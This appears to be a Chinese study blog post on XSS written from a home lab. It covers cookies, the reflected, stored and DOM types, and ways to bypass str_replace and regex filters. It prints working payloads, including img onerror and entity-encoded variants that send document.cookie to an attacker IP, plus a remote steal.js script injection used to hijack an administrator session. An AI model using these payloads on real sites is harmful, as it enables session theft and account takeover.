XSS-跨站脚本分析

XSS-跨站脚本分析

Cookie

  • 是一个保存在客户机中的简单的文本文件, 这个文件与特定的 Web 文档关联在一起, 保存了该客户机访问这个Web 文档时的信息, 当客户机再次访问这个 Web 文档时这些信息可供该文档使用。由于“Cookie”具有可以保存在客户机上的神奇特性, 因此它可以帮助我们实现记录用户个人信息的功能, 而这一切都不必使用复杂的CGI等程序。
    eg.一个 Web 站点可能会为每一个访问者产生一个唯一的ID, 然后以 Cookie 文件的形式保存在每个用户的机器上。如果使用浏览器访问 Web, 会看到所有保存在硬盘上的 Cookie。在这个文件夹里每一个文件都是一个由“名/值”对组成的文本文件,另外还有一个文件保存有所有对应的 Web 站点的信息。在这里的每个 Cookie 文件都是一个简单而又普通的文本文件。透过文件名, 就可以看到是哪个 Web 站点在机器上放置了Cookie(当然站点信息在文件里也有保存)
  • 当Fn+F12后,在存储里面可以看到cookie(即每个人在网站上的身份证),当cookie泄露且被人劫持之后,劫持人就可以伪装成被劫持人,使用被劫持人的权限(eg:QQ空间被盗)

JavaScript(简称“JS”)

  • 是一种具有函数优先的轻量级,解释型或即时编译型的编程语言。虽然它是作为开发Web页面的脚本语言而出名,但是它也被用到了很多非浏览器环境中,JavaScript 基于原型编程、多范式的动态脚本语言,并且支持面向对象、命令式和声明式(如函数式编程)风格。
  • 主要功能:
    1.嵌入动态文本于HTML页面。
    2.对浏览器事件做出响应。
    3.读写HTML元素。
    4.在数据被提交到服务器之前验证数据。
    5.检测访客的浏览器信息。控制cookies,包括创建和修改等。(利用js获取别人的cookie)
    6.基于Node.js技术进行服务器端编程。

常见命令(利用js获取别人的cookie):

<script>alert("XSS")</script> //alert作用:弹窗形式,弹出“xss”
<script>alert(document.cookie)</script> //弹出浏览器中自己的cookie,只能检测是否能xss

什么是XSS攻击

  • 跨站脚本(cross-site scripting,XSS)是一种经常出现在web应用程序中的计算机安全漏洞,是由于Web应用程序对用户的输入过滤不足而产生的
  • 原理:攻击者利用网站漏洞把恶意的脚本代码(通常包括HTML代码和客户端Javascript脚本)注入到网页中,当其他用户浏览这些网站时,就会执行其中的恶意代码,对受害用户可能采取Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。
  • 由于和另一种网页技术——层叠样式表(Cascading Style Sheets,CSS)的缩写一样,为了防止混淆,故把原来的CSS简称为XSS。
  • avaScript脚本:
<html>
    <head>test</head>
    <body>
         <script>alert("XSS")</script>
    </body>
</html>
  • 成因:
    HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始,之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。
    即:当网页过滤不足时,可以直接引入avaScript脚本

XSS分类

一、反射型XSS(非持久型)

  • 反射型跨站脚本(Reflected Cross-site Scripting)也称作非持久型、参数型跨站脚本。这种类型的跨站脚本是最常见,也是使用最广范的一种,主要用于将恶意脚本附加到URL地址的参数中。
  • 特点是只在用户单击时触发,而且只执行一次,非持久化
  • XSS的简单过滤
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
 $name = str_replace( '<script>', '', $_GET[ 'name' ] );

在源代码里有如上代码,
第一行的意思是:它先从网页里get了一个name
第二行的意思是:它从name里面检测<script>的形式,然后将其替换为空,导致传到后端的时候<stript>标签没有成对存在,故不能正常执行。
1、双写绕过:<scr<script>ipt>alert("XSS")</scr<script>ipt>
2、大小写绕过:
原理:str_replace( )是严格执行寻找<script>的函数,而html里面有一个特性:它不区分大小写,都能正常执行,故:<Script>alert("XSS")</sCript>改任意一个或多个小写为大写都可以,但是要注意前后的<stript>均要改大小写

例二

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

源码里面出现了严格的正则匹配

 $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

即当他们以s、c、r、i、p、t(即script)顺序出现的时候,script就会被过滤,而后面的/i的意思是不区分大小写
此时用下列来

<img src=# onerror=alert("xss")>

此为html里面img标签的一个特殊的响应方式img src,#代表访问本地,onerror表示当它访问出错的时候会执行一个js的脚本alert("xss")
使用该代码进行xss的原理是:网页里没有一个img的标签来让访问,然后就报错,顺理成章的就执行了后面的js脚本,而此时alert("xss")则被认为了是js脚本,成功xss。
中间的xss可以替换为想要的任何命令
例如在需要获取别人cookie时

<img src=# onerror=(location.href="http://192.168.31.169/steal.php?data="+document.cookie)>

此时也有script按顺序出现,故

<img src=# onerror=(locat&#x69;on.href="http://192.168.31.169/steal.php?data="+document.cookie)>

将i用Unicode加密绕过,此时则可绕过该正则匹配。
注:以上方法得到的cookie均为自己的cookie

  • 得到别人的cookie
    一、准备
    1、将别人的cookie发送给我们,利用脚本连接数据库来接收;
    2、由于远程无法调用php文件,所以单有一个php接收脚本是不行的,xss利用的是Javascript,而JavaScript只能远程调用js文件,因此需要写一个js文件,让被攻击者执行这个文件。
    3、要接收他人传来的值,那么我们自身也要开服务器,所以PHPstudy搭建一个服务器(打开Apache)和MySQL(搭建数据库);
    4、注意php版本有规定
    二、触发条件:(反射型XSs触发条件非常苛刻)
    1、攻击者与被攻击者登录的必须为同一个界面;
    2、该网页一定存在xss攻击;
    三、方法
    1、先在服务器192.168.31.217上用get的方法利用xss漏洞来传
    ?name=<script src=http://192.168.31.169/steal.js></script>
    src是远程调用,它调用了steel.php,使cookie传到数据库
    192.168.31.169是本机ip,其充当攻击者
    2、而当被攻击者192.167.36.133利用服务器访问了之前攻击者访问的页面?name=<script src=http://192.168.31.169/steal.js></script>,即构造了该url,则才能实现获取对方的cookie,进而得到该管理员的管理权限。
    ( 此时把本机作为攻击者,把win7作为服务器217,而数据库在该服务器里,把XP作为被攻击者(管理员)36.133)

二、存储型XSS(持久型)

  • 代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易大量盗窃cookie
  • 存储型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。(类似说说,会长时间保存上传的数据)
  • 存储型 XSS一旦存储到客户端或者服务端的数据库中,当下次再打开该页面时,该代码就会再次执行,每一次打开都是这样(就像浏览器弹窗)
  • 和反射性XSS的即时响应相比,存储型XSS则需要先把利用代码保存在比如数据库或文件中,当web程序读取利用代码时再输出在页面上执行利用代码。但存储型XSS不用考虑绕过浏览器的过滤问题,屏蔽性也要好很多。
  • 在这里插入图片描述方法(思路同上):
    1、当我们利用xss漏洞向网站传入?name=<script src=http://192.168.31.169/steal.js></script>时,意味着发送了远程调用steel.js文件的请求,而stee.js文件则又会向根目录下的steel.php传值cookie,再由steel.php把cookie保存到数据库(数据库在服务器win7 . .217里面);
    2、此时再从虚拟机XP里面访问该服务器的该网站,发现直接点开那个界面后就被黑了,此时被攻击者的cookie已经传到了服务器的数据库里。

三、DOM型XSS

DOM型XSS:基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。

关于xss的利用

例如,我们得到别人的QQ空间的cookie,此时,我只需要在我的QQ空间里面利用hackbar的cookie改变,并上传,那么就可以得到别人的QQ空间的管理权。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值